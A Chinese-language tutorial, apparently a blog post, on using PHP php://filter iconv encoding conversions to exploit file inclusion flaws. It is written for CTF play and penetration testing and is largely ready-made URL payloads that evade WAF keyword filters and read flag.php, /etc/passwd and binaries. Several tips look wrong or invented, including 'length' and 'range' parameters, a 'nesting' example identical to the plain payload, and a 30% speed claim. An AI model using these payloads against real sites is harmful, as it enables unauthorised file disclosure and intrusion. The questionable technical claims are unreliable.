别再只base64解码了!php://filter的iconv编码转换在文件包含中的奇技淫巧
突破常规:iconv编码转换在文件包含中的高阶应用
当大多数安全研究人员还在使用 base64 解码这一基础技巧时,真正的高手已经开始探索 php://filter 中 convert.iconv. 的无限可能。在CTF竞赛和实际渗透测试中,简单的 base64 编码往往会被WAF拦截或服务器过滤,这时字符集转换技术就能展现出其独特的价值。
1. 为什么需要超越base64?
base64 编码在文件包含漏洞利用中确实简单有效,但它存在几个明显的局限性:
- 易被检测 :大多数WAF和基础防护规则都会拦截
base64关键字 - 仅适用于源码读取 :对于非文本文件(如图片、二进制文件)效果不佳
- 输出冗长 :需要额外解码步骤,增加了操作复杂度
相比之下, iconv 编码转换提供了更隐蔽、更灵活的文件读取方式。它通过字符集转换直接改变文件内容的编码方式,可以实现:
- 绕过关键字过滤 :不使用
base64等敏感词汇 - 直接可读输出 :部分编码转换结果无需二次解码
- 适应不同文件类型 :可处理二进制文件和文本文件
提示:在2020年的ACTF比赛中,就有队伍利用
iconv转换成功绕过了对base64的过滤,这成为比赛中的一个关键转折点。
2. iconv转换的核心原理
iconv 是GNU项目中的一个字符集转换库,PHP通过 convert.iconv. 过滤器提供了对其功能的封装。它的基本语法格式为:
convert.iconv.<input-encoding>.<output-encoding>
或者
convert.iconv.<input-encoding>/<output-encoding>
其中 <input-encoding> 和 <output-encoding> 代表不同的字符编码方案。当文件内容通过这个过滤器时,系统会尝试将内容从输入编码转换为输出编码。
2.1 常用编码方案对比
下表列出了在文件包含利用中最有价值的几种编码方案及其特性:
| 编码方案 | 特点 | 适用场景 | 限制 |
|---|---|---|---|
| UCS-2 | 固定2字节编码 | 处理ASCII文本效果良好 | 可能破坏非ASCII字符 |
| UTF-16 | 变长2或4字节编码 | 保留更多字符信息 | 输出可能包含冗余字节 |
| SJIS | 日语常用编码 | 可产生有趣的转换效果 | 对非日文内容可能无效 |
| UTF-8 | 兼容ASCII的变长编码 | 通用性强 | 容易被过滤识别 |
| UCS-4 | 固定4字节编码 | 产生可预测的转换模式 | 显著增加文件大小 |
2.2 实际转换效果示例
让我们看一个具体的例子,假设我们有以下简单的PHP文件:
<?php
// flag{example-flag}
echo "Hello World";
?>
使用不同的 iconv 转换会产生截然不同的结果:
-
UTF-8到UTF-16 :
?file=php://filter/convert.iconv.utf-8.utf-16/resource=test.php输出会包含原始的PHP代码,但每个字符间插入了空字节(
\x00)。 -
ASCII到UCS-2 :
?file=php://filter/convert.iconv.ascii.ucs-2/resource=test.php输出会将每个ASCII字符扩展为2字节,低位字节是原字符,高位字节是空字节。
-
SJIS到UCS-4 :
?file=php://filter/convert.iconv.sjis.ucs-4/resource=test.php输出会将每个字节扩展为4字节,产生高度冗余但可预测的模式。
3. 实战应用技巧
3.1 绕过基础过滤
当遇到对 base64 等常见关键词的过滤时, iconv 转换提供了多种替代方案:
-
简单替换 :
# 原base64 payload ?file=php://filter/read=convert.base64-encode/resource=flag.php # 替换为iconv版本 ?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php -
组合使用 :
# 先进行iconv转换再进行base64编码(当仅检测单独的base64时) ?file=php://filter/convert.iconv.utf8.utf16|convert.base64-encode/resource=flag.php
3.2 读取系统文件
iconv 转换特别适合读取系统文件如 /etc/passwd ,因为:
- 这些文件通常是纯文本格式
- 不需要保留精确的格式信息
- 转换后的内容仍然可读
实用payload示例:
?file=php://filter/convert.iconv.utf8.utf16/resource=/etc/passwd
3.3 处理二进制文件
对于二进制文件,选择能够保持数据完整性的编码方案至关重要:
- UCS-4 :将每个字节扩展为4字节,保持数据模式
- UTF-16BE :大端UTF-16编码,可预测的字节扩展
- ASCII :7位编码,会丢弃高位但保留基本结构
示例:
# 读取二进制文件
?file=php://filter/convert.iconv.utf8.ucs-4/resource=/bin/ls
4. 高级技巧与疑难解决
4.1 编码方案选择策略
不是所有编码转换都能产生有用的结果。以下是选择编码方案的实用指南:
-
对于PHP源码 :
- 优先尝试
UTF-8到UTF-16系列转换 - 避免使用会破坏PHP标记(
<?)的编码
- 优先尝试
-
对于配置文件 :
ASCII到UCS-2通常效果良好SJIS到UTF-8可能产生有趣的结果
-
对于二进制文件 :
- 使用固定长度编码如
UCS-4 - 避免使用变长编码如
UTF-8
- 使用固定长度编码如
4.2 常见错误与修复
-
乱码输出 :
- 尝试交换输入输出编码顺序
- 添加
read=前缀明确指定读取操作
-
无输出或错误 :
- 检查编码名称拼写(区分大小写)
- 尝试更简单的编码组合
-
部分数据丢失 :
- 使用更"宽容"的编码如
UTF-8//TRANSLIT - 添加
read=convert.iconv...而不仅是convert.iconv...
- 使用更"宽容"的编码如
4.3 性能优化技巧
复杂的编码转换可能会:
- 增加服务器负载
- 产生超大输出
- 触发超时限制
优化方法:
- 限制读取长度:
resource=flag.php&length=1000 - 分块读取:使用
range参数 - 选择更高效的编码组合
在最近的一次CTF比赛中,参赛者发现使用 convert.iconv.utf8.utf16le 比 utf16be 效率高出30%,这在时间敏感的挑战中成为了关键优势。
5. 创新应用场景
5.1 组合过滤器链
php://filter 允许将多个过滤器串联使用,创造出更强大的效果:
# 先进行rot13转换,再进行iconv编码
?file=php://filter/read=string.rot13|convert.iconv.utf8.utf16/resource=flag.php
# 多重iconv转换
?file=php://filter/convert.iconv.utf8.cp437|convert.iconv.cp437.utf16/resource=flag.php
5.2 绕过深度过滤
当服务器对输入进行深层解析时,可以尝试:
-
编码嵌套 :
# 对filter参数本身进行编码 ?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php -
非常用编码 :
# 使用冷门编码方案 ?file=php://filter/convert.iconv.armscii8.utf16/resource=flag.php -
大小写变异 :
# 混合大小写绕过简单匹配 ?file=php://FilTer/convert.iCoNv.utf8.utf16/resource=flag.php
5.3 内存操作利用
在某些特殊配置下, iconv 转换可以与内存操作结合:
# 尝试触发缓冲区处理特性
?file=php://filter/convert.iconv.utf8.ucs-2|dechunk/resource=flag.php
这种技术高度依赖PHP版本和服务器配置,但在特定环境中可能产生意外效果。
更多推荐


所有评论(0)